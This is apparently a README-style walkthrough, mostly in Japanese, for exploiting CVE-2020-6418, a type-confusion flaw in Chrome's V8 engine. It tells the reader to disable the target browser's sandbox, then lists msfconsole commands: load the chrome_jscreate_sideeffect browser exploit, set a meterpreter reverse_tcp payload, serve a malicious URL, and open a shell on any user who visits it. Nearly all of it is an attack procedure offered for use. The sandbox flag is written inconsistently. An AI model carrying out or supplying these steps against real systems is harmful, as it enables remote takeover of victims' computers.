
CVE-2020-6418(V8の型混乱)向けエクスプロイト。細工されたHTMLページを介してリモートコード実行を可能にします。Metasploitを使用してリバースシェルペイロードを配信します。
CVE 2020-6418は、Google ChromeのV8における型混乱に関する脆弱性です。影響を受けるバージョンは80.0.3987.122より前です。この脆弱性は、リモートの攻撃者が細工されたHTMLページを介してターゲットデバイスのシェルにアクセスすることで達成されます。
Note : The Google chrome browser should run with no sandbox for the exploit to be succesfull.
i) Google Chromeのショートカットを作成
ii) プロパティをクリック > "ターゲット"オプションに移動
iii) EXEの末尾にスペースを入れて -no--sandbox と入力
iv) 適用 > OK をクリック
v) 新しいブラウザGoogle Chromeを開くと、以下のポップアップが表示されます。
You are using an unsupported command-line flag: -no-sandbox. Stability ans security will suffer
Kaliをエクスプロイト実行環境として使用しているため、Metasploitはディストリビューションに組み込まれています。ただし、他のディストリビューションを使用している場合は、エクスプロイトを開始する前にMetasploitをセットアップする必要があります。
詳細については、Metasploitのインストール を参照してください。
i) Metasploitフレームワークを起動
> msfconsole
ii) エクスプロイトを検索
> search chrome_js
iii) 上記の出力から利用可能なエクスプロイトを使用
> Use exploit/multi/browser/chrome_jscreate_sideeffect
iv) SRVHOST IPアドレスを指定
> set SRVHOST <ip address>
v) ターゲットを指定 ここでは2つのオプションがあります
> set Target " Number "
vi) ペイロードを指定
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
vii) 現在の設定と有効なオプションを確認
> show options
viii) エクスプロイトを実行
> run (or) > exploit
ix) URLが提供されます。そのURLをブラウザにコピーしてセッションをアクティブにします。
x) ユーザーがURLにアクセスすると、セッションが作成されます。これを確認するには
> show sessions
xi) セッションを使用して、ユーザーのシステム情報を確認したり、シェルに入ったりできます。
> sessions <number>
> shell